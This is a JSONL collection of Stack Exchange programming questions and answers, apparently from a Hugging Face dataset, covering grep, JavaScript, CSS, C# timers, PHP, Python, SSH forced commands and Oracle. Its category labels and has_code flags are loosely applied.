{"id": "hf_0fc0333c072a", "question": "<p>I have had to do this several times, usually when trying to find in what files a variable or a function is used.</p>\n\n<p>I remember using xargs with grep in the past to do this, but I am wondering if there are any easier ways.</p>\n", "question_body": "", "answer": "```\n```\ngrep -r REGEX .\n```\n```\nReplace\n```\n.\n```\nwith whatever directory you want to search from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.139174"}
{"id": "hf_ade8775b0842", "question": "<pre><code>(function() \n {\n     //codehere\n }\n)();\n</code></pre>\n\n<p>What is special about this kind of syntax?\nWhat does ()(); imply?</p>\n", "question_body": "", "answer": "The creates an anonymous function, closure and all, and the final () tells it to execute itself.\nIt is basically the same as:\n```\n```\nfunction name (){...}\nname();\n```\n```\nSo basically there is nothing special about this code, it just a 'shortcut' to creating a method and invoking it without having to name it.\nThis also implies that the function is a one off, or an internal function on an object, and is most useful when you need to the features of a closure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.162910"}
{"id": "hf_bc268e98470d", "question": "<p>I was developing a web page, where I was laying out a board for a Chess-like game, along with a couple of piece trays. It's all done using HTML (with jQuery for dynamic updating as the game is played). Somewhere I'd got the notion that using absolute positioning of elements within a page was considered a bad practice, and that it was preferable to use relative positioning.</p>\n\n<p>After struggling with relative positioning for too long, I realized that absolute positioning of the board elements would be much, much easier to get right... and it was.</p>\n\n<p>Is anyone aware of a reason that relative positioning is preferable over absolute? Are there any guidelines or rules of thumb that you apply when deciding which approach to take?</p>\n", "question_body": "", "answer": "For a chess like game such as you are developing, there is nothing inherently wrong with using absolute positioning.  As you said, relative positioning and normal flow layout make this sort of task quite difficult.\nOf course, if you were developing a more standard website, such as a site providing some public service, absolute positioning overrides the default flow layout of browsers and so will reduce accessibility for many users.  In this case I would avoid it.\nHaving said that, a lesser known benefit of absolute positioning is that it allows localized absolute positioning\nwithin\nthe nearest \"positioned\" parent element.\nNote:\nA \"positioned\" element can be any of the following: relative, fixed, absolute, or sticky.\nTo explain:\n```\n```\n<div id=\"parentDIV\" style=\"position:relative\">\n    <div id=\"childDIV\" style=\"position:absolute;left:20px;top:20px;\">\n          I'm absolutely positioned within parentDIV.\n    </div>\n</div>\n```\n```\nHere,\n```\nchildDIV\n```\nis actually positioned 20px from the left and 20px from the top of\n```\nparentDIV\n```\n,\nNOT\nthe overall document.  This gives a nice precise control over nested elements on a page, without sacrificing the overall page flow-layout.\nSo to answer your question (relative positioning being preferred over absolute): I don't believe there is a correct answer, it depends on what you are needing to build.  However in general positioning (absolute or relative) versus default flow layout, my approach is as described above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.212718"}
{"id": "hf_c706c03739e5", "question": "<p>I'd like to create a sparse file such that all-zero blocks don't take up actual disk space until I write data to them.  Is it possible?</p>\n", "question_body": "", "answer": "As in other Unixes, it's a feature of the filesystem.  Either the filesystem supports it for ALL files or it doesn't.  Unlike Win32, you don't have to do anything special to make it happen.  Also unlike Win32, there is no performance penalty for using a sparse file.\nOn MacOS, the default filesystem is HFS+ which does\nnot\nsupport sparse files.\nUpdate:\nMacOS used to support UFS volumes with sparse file support, but that has been removed. None of the currently supported filesystems feature sparse file support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.269713"}
{"id": "hf_1af2c8136d10", "question": "<p>Just this - How do you add a timer to a C# console application? It would be great if you could supply some example coding.</p>\n", "question_body": "", "answer": "Use the System.Threading.Timer class.\nSystem.Windows.Forms.Timer is designed primarily for use in a single thread usually the Windows Forms UI thread.\nThere is also a System.Timers class added early on in the development of the .NET framework. However it is generally recommended to use the System.Threading.Timer class instead as this is just a wrapper around System.Threading.Timer anyway.\nIt is also recommended to always use a static (shared in VB.NET) System.Threading.Timer if you are developing a Windows Service and require a timer to run periodically.  This will avoid possibly premature garbage collection of your timer object.\nHere's an example of a timer in a console application:\n```\n```\nusing System; \nusing System.Threading; \npublic static class Program \n{ \n    public static void Main() \n    { \n       Console.WriteLine(\"Main thread: starting a timer\"); \n       Timer t = new Timer(ComputeBoundOp, 5, 0, 2000); \n       Console.WriteLine(\"Main thread: Doing other work here...\");\n       Thread.Sleep(10000); // Simulating other work (10 seconds)\n       t.Dispose(); // Cancel the timer now\n    }\n    // This method's signature must match the TimerCallback delegate\n    private static void ComputeBoundOp(Object state) \n    { \n       // This method is executed by a thread pool thread \n       Console.WriteLine(\"In ComputeBoundOp: state={0}\", state); \n       Thread.Sleep(1000); // Simulates other work (1 second)\n       // When this method returns, the thread goes back \n       // to the pool and waits for another task \n    }\n}\n```\n```\nFrom the book\nCLR Via C#\nby Jeff Richter.  By the way this book describes the rationale behind the 3 types of timers in Chapter 23, highly recommended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.330943"}
{"id": "hf_444da6d3d298", "question": "<p>My boss thinks the VS 2008 IDE Window Manager(autohiding, docking of Solution Explorer, Properties, etc) is the best thing since sliced bread.  I can't find a control that resembles that functionality in the Toolbox.  Is there a control like that available that you know of?  Or should I go ahead and implement it myself?  Btw, we're using VS 2008 Express.</p>\n", "question_body": "", "answer": "You should check out\nSandDock\n. The older versions were freely licenced (dunno if they are still available) and the newer versions are relatively cheap, especially considering the amount of time/money/sanity they would save you.\nI would strongly recommend against trying to roll your own VM component. There is just too much work involved, and it wouldn't be worth it, if it wasn't your primary product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.440179"}
{"id": "hf_30adbd7f3ade", "question": "<p>I have been trying to change the background color of Eclipse's windows to black and customize the font colors. There doesn't seem to be a way to do this, at least not in an obvious way. I am using version 3.3.</p>\n\n<p>How do I do this or are there any plugin's that might be able to assist in doing this?</p>\n", "question_body": "", "answer": "If you go to Windows, Preferences then select General, Editors, Text editors, you can set colors on that property page (and there's a link for setting MORE colors - General, Appearance, Colors and fonts).\nThat's with an Eclipse 3.3 build anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.464087"}
{"id": "hf_26668e993ab6", "question": "<p>I would like to use a secure SSL login on my website! I have not used SSL before, so I am looking for some good reading. Can anyone tell me where I can find some sample code of SSL snippets or page code. (Not too technical)</p>\n\n<ul>\n<li>I do have a static IP</li>\n<li>My host is set-up to handle SSL Pages.  </li>\n</ul>\n\n<p>Interested in: Basic page code. / Tree structure. / Other </p>\n\n<p>Paul   </p>\n", "question_body": "", "answer": "My first thought would be to simply call a function to redirect to the https: version of the current page when you need to be secure.\nSome code like this:\n```\n```\nif($requireSSL && $_SERVER['SERVER_PORT'] != 443) \n{\n   header(\"HTTP/1.1 301 Moved Permanently\");\n   header(\"Location: https://\".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);\n   exit();\n}\n```\n```\nReference", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.488263"}
{"id": "hf_377ba5823f4c", "question": "<p>He're an interesting problem that looks for the most Pythonic solution. Suppose I have a list of mappings <code>{'id': id, 'url': url}</code>. Some <code>id</code>s in the list are duplicate, and I want to create a new list, with all the duplicates removed. I came up with the following function:</p>\n\n<pre><code>def unique_mapping(map):\n    d = {}\n    for res in map:\n        d[res['id']] = res['url']\n\n    return [{'id': id, 'url': d[id]} for id in d]\n</code></pre>\n\n<p>I suppose it's quite efficient. But is there a \"more Pythonic\" way ? Or perhaps a more efficient way ?</p>\n", "question_body": "", "answer": "Your example can be rewritten slightly to construct the first dictionary using a generator expression and to remove necessity of construction of another mappings. Just reuse the old ones:\n```\n```\ndef unique_mapping(mappings):\n    return dict((m['id'], m) for m in mappings).values()\n```\n```\nAlthough this came out as a one-liner, I still think it's quite readable.\nThere are two things you have to keep in mind when using your original solution and mine:\nthe items will not always be returned in the same order they were originally\nthe later entry will overwrite previous entries with the same id\nIf you don't mind, then I suggest the solution above. In other case, this function preserves order and treats first-encountered ids with priority:\n```\n```\ndef unique_mapping(mappings):\n    addedIds = set()\n    for m in mappings:\n        mId = m['id']\n        if mId not in addedIds:\n            addedIds.add(mId)\n            yield m\n```\n```\nYou might need to call it with\n```\nlist(unique_mappings(mappings))\n```\nif you need a list and not a generator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.526808"}
{"id": "hf_a9017cfe6322", "question": "<p>I want to use implicit linking in my project , and nmake really wants a .def file . The problem is , that this is a class , and I don't know what to write in the exports section .\nCould anyone point me in the right direction ?</p>\n\n<p>The error message is the following :</p>\n\n<p><strong>NMAKE :  U1073: don't know how to make 'DLLCLASS.def'</strong></p>\n\n<p>P.S: I'm trying to build using Windows CE Platform Builder .</p>\n", "question_body": "", "answer": "If I recall correctly, you can use\n```\n__declspec(dllexport)\n```\non the\nclass\n, and VC++ will automatically create exports for all the symbols related to the class (constructors/destructor, methods, vtable, typeinfo, etc).\nMicrosoft has more information on this\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.648945"}
{"id": "hf_df5035dd3f92", "question": "<p>Are there any \"all-in-one\" installers for php + mysql on iis? Preferably with a gui configuration interface.</p>\n", "question_body": "", "answer": "I don't know of any all-in-one installers for both MySql and PHP, but PHP itself comes with an automated installer that will attach itself to IIS - but the preferred method is still manual (the automated procedure only uses CGI). There are plenty of how-to pages on the web that give you the step-by-step procedure required to get setup (and these differ based on your version of IIS) - I suggest you use one of those instead.\nSome links to get you started:\nPHP Documentation\nInstalling PHP 5 on IIS in 5 simple steps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.673215"}
{"id": "hf_c4e802398348", "question": "<p>A project I'm working on will pull XML from a web-server and build a data store from it. The data will have certain core fields but needs to be extendable... for example I have a  and later might want to have  which adds extra fields.</p>\n\n<p>In the Flex app, I don't want the central data store to be working on XML objects or simply putting the properties into Objects. I want to have strong types, e.g a Person class, which are created/populated from the XML.</p>\n\n<p>How can this be done in a flexible way? Is Flex able to automatically build a Person from an XML  if the attribute names match, or do I need to write conversion functionality for , , etc?</p>\n", "question_body": "", "answer": "I don't think this can be done automatically. I generally create the a class to mirror the XML structure I have and then create a static class method to create an instance of the object given an XML node. For example:\n```\n```\npackage {\n\n  public class Foo{\n\n     public function Foo(barparam1:String, barparam2:uint, barparam3:String, barparam4:Number){\n       this._bar1 = barparam1;\n       this._bar2 = barparam2;\n       this._bar3 = barparam3;\n       this._bar4 = barparam4;\n       }\n\n     protected var _bar1:String;\n     protected var _bar2:uint;\n     protected var _bar3:String;\n     protected var _bar4:Number;\n\n     public function get bar1():String{ return this._bar1; }\n     public function get bar2():uint    { return this._bar2; }\n     public function get bar3():String  { return this._bar3; }\n     public function get bar4():Number  { return this._bar4; }\n\n     public function toString():String{\n        return \"[Foo bar1:\\\"\" + this.bar1 + \"\\\", bar3:\\\"\" + this.bar3 + \"\\\", bar2:\" + this.bar2 + \", bar4:\" + this.bar4 + \"]\";\n        }\n\n     public static function createFromXml(xmlParam:XML):Foo{\n\n        /* XML Format:\n          <foo bar1=\"bar1value\" bar2=\"5\">\n            <bar3>bar3 data</bar3>\n            <bar4>10</bar4>\n          </foo>\n        */\n\n       return new Foo(xmlParam.@bar1, xmlParam.@bar2, xmlParam.bar3[0], xmlParam.bar4[0]);\n       }\n    }\n  }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.728495"}
{"id": "hf_109233a98b91", "question": "<p>I have a list of Date objects, and a target Date. I want to find the date in the list that's nearest to the target date, but only dates that are before the target date.</p>\n\n<p>Example:\n2008-10-1\n2008-10-2\n2008-10-4</p>\n\n<p>With a target date of 2008-10-3, I want to get 2008-10-2</p>\n\n<p>What is the best way to do it?</p>\n", "question_body": "", "answer": "I currently use the following method, but I'm not sure it's the most effective one, because this assumes an already sorted list, and (potentially) iterates over every single date in the list.\n```\n```\nprivate Date getDateNearest(List<Date> dates, Date targetDate){\n  for (Date date : dates) {\n    if (date.compareTo(targetDate) <= 0) return date;\n  }\n\n  return targetDate;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.751058"}
{"id": "hf_c088e20e1898", "question": "<p>I'm looking at creating a server in python that I can run, and will work as an SSH server. This will then let different users login, and act as if they'd logged in normally, but only had access to one command.</p>\n\n<p>I want to do this so that I can have a system where I can add users to without having to create a system wide account, so that they can then, for example, commit to a VCS branch, or similar.</p>\n\n<p>While I can work out how to do this with conch to get it to a \"custom\" shell... I can't figure out how to make it so that the SSH stream works as if it were a real one (I'm preferably wanting to limit to /bin/bzr so that bzr+ssh will work.</p>\n\n<p>It needs to be in python (which i can get to do the authorisation) but don't know how to do the linking to the app. </p>\n\n<p>This needs to be in python to work within the app its designed for, and to be able to be used for those without access to add new users</p>\n", "question_body": "", "answer": "While Python really is my favorite language, I think you need not create you own server for this. When you look at the\nOpenSSH Manualpage for sshd\nyou'll find the \"command\" options for the authorized keys file that lets you define a specific command to run on login.\nUsing keys, you can use one system account to allow many user to log in, just put their public keys in the account's authorized keys file.\nWe are using this to create SSH tunnels for SVN and it works just great.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.796117"}
{"id": "hf_cce5fe1f7821", "question": "<p>Is there an event like onLoad? </p>\n\n<p>just at closing the Site (onClose)?</p>\n", "question_body": "", "answer": "The closest you can get it UnLoad.\nhttp://msdn.microsoft.com/en-us/library/ms178472.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.843036"}
{"id": "hf_a0f5f9af95a4", "question": "<p>I have a HTML select list with quite a few (1000+) names. I have a javascript in place which will select the first matching name if someone starts typing. This matching looks at the start of the item: </p>\n\n<pre><code>var optionsLength = dropdownlist.options.length;\n  for (var n=0; n &lt; optionsLength; n++)\n  {\n    var optionText = dropdownlist.options[n].text;\n    if (optionText.indexOf(dropdownlist.keypressBuffer,0) == 0)\n    {\n      dropdownlist.selectedIndex = n;\n      return false; \n    }\n  }\n</code></pre>\n\n<p>The customer would like to have a suggest or autofilter: typing part of a name should 'find' all names containing that part. I've seen a few Google Suggest like options, most using Ajax, but I'd like a pure javascript option, since the select list is already loaded anyway. Pointers anyone?</p>\n", "question_body": "", "answer": "Change\n```\n```\nif (optionText.indexOf(dropdownlist.keypressBuffer,0) == 0)\n```\n```\nto\n```\n```\nif (optionText.indexOf(dropdownlist.keypressBuffer) > 0)\n```\n```\nTo find\n```\ndropdownlist.keypressBuffer\n```\nanywhere in the\n```\noptionText\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.866869"}
{"id": "hf_6eea341ae01e", "question": "<p>While designing a table my colleague here says that I should avoid identity column as it is specific to SQL Server and MS Access, But I differ with his views as it makes my coding simpler. </p>\n\n<p>Should I use identity column or not? If not what is best way to create the identity columns from application code?</p>\n", "question_body": "", "answer": "You can't completely divorce an application from the database vendor. If you do you won't be able to take advantages of whatever features your database provides you.\nI'd say use the identity column. If you move over to Oracle (for example), you can use a Sequence. Hardly a big change.\nI don't know what technology you're using, but one thing that would help is using a tool such as Hibernate or iBATIS (I think they're both available for Java and .NET) which separates you a bit from the database implementation details. Then if you change database vendor you won't need to change application code, just configuration. (In theory, at least!)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.890705"}
{"id": "hf_1f124787d783", "question": "<p>Which is the best timer approach for a C# console batch application that has to process as follows:</p>\n\n<ol>\n<li>Connect to datasources</li>\n<li>process batch until timeout occurs or processing complete. \"Do something with datasources\"</li>\n<li>stop console app gracefully.</li>\n</ol>\n\n<p>related question: <a href=\"https://stackoverflow.com/questions/186084/how-do-you-add-a-timer-to-a-c-console-application\">How do you add a timer to a C# console application</a></p>\n", "question_body": "", "answer": "When you say \"until timeout occurs\" do you mean \"keep processing for an hour and then stop\"? If so, I'd probably just make it very explicit - work out at the start when you want to finish, then in your processing loop, do a check for whether you've reached that time or not. It's incredibly simple, easy to test etc. In terms of testability, you may want a fake clock which would let you programmatically set the time.\nEDIT: Here's some pseudocode to try to clarify:\n```\n```\nList<DataSource> dataSources = ConnectToDataSources();\nTimeSpan timeout = GetTimeoutFromConfiguration(); // Or have it passed in!\nDateTime endTime = DateTime.UtcNow + timeout;\n\nbool finished = false;\nwhile (DateTime.UtcNow < endTime && !finished)\n{\n    // This method should do a small amount of work and then return\n    // whether or not it's finished everything\n    finished = ProcessDataSources(dataSources);\n}\n\n// Done - return up the stack and the console app will close.\n```\n```\nThat's just using the built-in clock rather than a clock interface which can be mocked, etc - but it probably makes the general appropriate simpler to understand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.914237"}
{"id": "hf_7b68c2db4c4a", "question": "<p>When you create a procedure (or a function) in Oracle PL/SQL, you cannot specify the maximum length of the varchar2 arguments, only the datatype. For example</p>\n\n<pre><code>create or replace procedure testproc(arg1 in varchar2) is\nbegin\n  null;\nend;\n</code></pre>\n\n<p>Do you know the maximum length of a string that you can pass as the arg1 argument to this procedure in Oracle ?</p>\n", "question_body": "", "answer": "In PL/SQL procedure it may be up to 32KB\nFuther information here:\nhttp://it.toolbox.com/blogs/oracle-guide/learn-oracle-sql-and-plsql-datatypes-strings-10804", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.961790"}
{"id": "hf_d6fbbea880e1", "question": "<p>This is a very basic problem that's frustrating me at the moment. Let's say within a single solution, I have two projects. Let's call the first project SimpleMath. It has one header file \"Add.h\" which has </p>\n\n<pre><code>int add(int i, int j)\n</code></pre>\n\n<p>and the implementation \"Add.cpp\" which has</p>\n\n<pre><code>int add(int i, int j) {\n  return i+j;\n}\n</code></pre>\n\n<p>Now let's say in a second project I want to use the add function. However, this code:</p>\n\n<blockquote>\n  <p><strong>#include \"..\\SimpleMath\\Add.h\"</strong></p>\n</blockquote>\n\n<pre><code>int main() {\n\n    add(1, 2);\n\n}\n</code></pre>\n\n<p>results in \"unresolved external symbol\". How do I get the second program to \"know\" about the actual implementation in the .cpp file. As a side note all code is fictional this is not how I actually program.</p>\n", "question_body": "", "answer": "You either have to make Add.cpp part of a library and include it in both projects. or you have to add Add.cpp to your second project too.\nEdit: to make SimpleMath a library go into the project settings on General and change the Configuration Type to Static Lib.\nThen go into your solution settings, click on Project Dependencies, then select your second project in the drop down list, and put a check mark next to SimpleMath. That will automatically link SimpleMath to your second project, and will also make sure that any changes to SimpleMath will be rebuilt when you rebuild your second project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:11.984532"}
{"id": "hf_da6abaa87b2d", "question": "<p>I need to add a <code>xml:lang</code> attribute on the root xml node in the outbound document from BizTalk.</p>\n\n<p>This is a fixed value, so it may be set in the schema or something.</p>\n\n<p>This is what I want to get out:</p>\n\n<pre><code>&lt;Catalog xml:lang=\"NB-NO\"&gt;\n...\n&lt;/Catalog&gt;\n</code></pre>\n\n<p>I've tried to define the attribute \"xml:lang\", but it doesn't allow me to use \":\" in the schema. </p>\n\n<p>This is the error message I get:</p>\n\n<blockquote>\n  <p>Invalid 'name' attribute value\n  'xml:lang': The ':' character,\n  hexadecimal value 0x3A, at position 3\n  within the name, cannot be included in\n  a name.</p>\n</blockquote>\n\n<p>Is there another way to insert a ':' as part of the attribute name in BizTalk?</p>\n\n<p>Can anyone tell me how to do this?</p>\n\n<p>I'm using BizTalk 2006 and no orchestration.</p>\n", "question_body": "", "answer": "Try to add the xml namespace declaration to the schema\n```\n```\nxmlns:xml=\"http://www.w3.org/XML/1998/namespace\"\n```\n```\nBeware that this addition will be removed when the schema file is recreated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.010892"}
{"id": "hf_a6558fa8657d", "question": "<p>we're running in this issue. We're using a web service (using soap4r) to run some kind of searches and the problem appears when the webservice server is down and our aplication is trying to connect to it. \nAt that point the application is unreachable, and all the customers are blocked.</p>\n\n<p>What can we do to avoid that? Is possibile to block the routing to a mongrel that it is blocked? (I suppose that the apache's proxy uses a round-robin algohritm)</p>\n\n<p>Thanks\nRoberto</p>\n", "question_body": "", "answer": "This sounds to me like it may be more of a mod_proxy problem than one with Mongrel or Apache - are you setting Proxy Timeouts as described\nhere\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.046432"}
{"id": "hf_2d17e69aac0c", "question": "<p>I would like to use databinding when displaying data in a TextBox. I'm basically doing like:</p>\n\n<pre><code> public void ShowRandomObject(IRandomObject randomObject) {\n        Binding binding = new Binding {Source = randomObject, Path = new PropertyPath(\"Name\")};\n        txtName.SetBinding(TextBox.TextProperty, binding);\n    }\n</code></pre>\n\n<p>I can't seem to find a way to unset the binding. I will be calling this method with a lot of different objects but the TextBox will remain the same. Is there a way to remove the previous binding or is this done automatically when I set the new binding?</p>\n", "question_body": "", "answer": "When available\n```\n```\nBindingOperations.ClearBinding(txtName, TextBox.TextProperty)\n```\n```\nFor older SilverLight versions, but not reliable as stated in comments:\n```\n```\ntxtName.SetBinding(TextBox.TextProperty, null);\n```\n```\nC# 6.0 features enabled\n```\n```\nthis.btnFinish.ClearBinding(ButtonBase.CommandProperty);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.125796"}
{"id": "hf_d8f1f3ccd1a0", "question": "<p>I'm trying to write a Mono C# daemon for linux.</p>\n\n<p>I'd like to do a starts and stops of it when its done processing instead of just killing the process.</p>\n\n<p>Does anyone have any examples of this?</p>\n\n<p>Edit: I figured out how to use start-stop-daemon --background in debian, so I think I'll just use that for now.</p>\n\n<p>Edit: I'm implementing this in java as well and they have this nice addShutdownHook that catches terminating the app. I need to spend a little more time sorting out the dependencies for mono service, or find a way to catch app termination. </p>\n\n<p>There is the SessionEnd event, but thats only available for services and not console apps</p>\n\n<p><strong>Answer:</strong>\n<a href=\"https://stackoverflow.com/questions/351971/using-mono-service-to-wrap-a-windows-service-on-linux\">using mono-service to wrap a windows service on linux</a></p>\n", "question_body": "", "answer": "A simple method would be to listen on a (local, high) port and receive commands from a management client, like bind does.\nA more unix-ish way would be to\nregister a signal handler\nusing\nUnixSignal\nand shutdown properly on receiving a certain signal. See the\nMono FAQ, \"Can I use signal handlers with Mono?\"\nfor caveats and an example.\nlupus\nhas found\nmono-service\n, which is a hosting process using the\n```\nServiceProcess\n```\ninterfaces. Sadly this requires setting\n```\nMONO_DISABLE_SHM\n```\n, which disables some features in Mono, in particular cross-process IPC systems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.159703"}
{"id": "hf_9d1a1fad2d5f", "question": "<p>So which is better. \nDo we start letting Tests design our code. Do we start introducing constructor injection for dependencies just to make code testable? or do we use the \"override\" protected method &amp; sub class the class under test.</p>\n", "question_body": "", "answer": "I generally think that testable code is good code. For code to be testable, you need better decoupling so each component can be tested in isolation with a test harness. However, there shouldn't be code in the implementation that is just used by the unit tests.\nAlso, keep in mind that what you need to test is the public API of an object, not it's protected/private methods. Finding bugs in private/protected method should be what logging/debuggers are for. After all, a bug in those will also propagate up to the public methods. So as long as the public methods fulfill tests, the protected methods will be covered too.\nIf you are using java, and have package scoped classes that implement public interfaces in the same package, I would put the unit tests in the same package in a separate folder to test those classes. You can also put unit tests in the same package as the tested class to test protected methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.204147"}
{"id": "hf_9e4f751da31e", "question": "<p>Is it possible to receive DllMain like notifications about thread attach/detach in stand-alone exe without using any extra dlls?</p>\n\n<p><strong>Edit:</strong> This is just a theoretical question that has to do with some testing I'm doing. not a real life situation.</p>\n", "question_body": "", "answer": "There is no external code that runs on the thread and loads the executable, hence no thread attach/detach notifications [1]. The code in the executable usualy control the threading [2].\nIf you describe your scenario, people might be able to give you some ideas how to achieve it.\n[1] Well, most of the time. It is possible to load an executable in another process, but people don't do it usually.\n[2] There are certain exceptions where the threading model and the threads are created by the OS, instead of the executable code. These are mostly related to COM/RPC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.229924"}
{"id": "hf_0f0353587172", "question": "<p>Is there a better way to profile code then:</p>\n\n<pre><code>$start1 = microtime(TRUE);\nfor($i=0;$i&lt;count($array);$i++)\n {\n    //do something\n }\n$time1 = microtime(TRUE) - $start1;\n</code></pre>\n", "question_body": "", "answer": "Xdebug or Zend Debugger if you have some difficulty to install Xdebug.\nTheir profiler will time everything for you without any modification of your code.\nhttp://www.xdebug.org/\nhttp://www.zend.com/en/community/pdt\nhttp://devzone.zend.com/article/2899-Profiling-PHP-Applications-With-xdebug\n- a serie of tutorials about xdebug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.276176"}
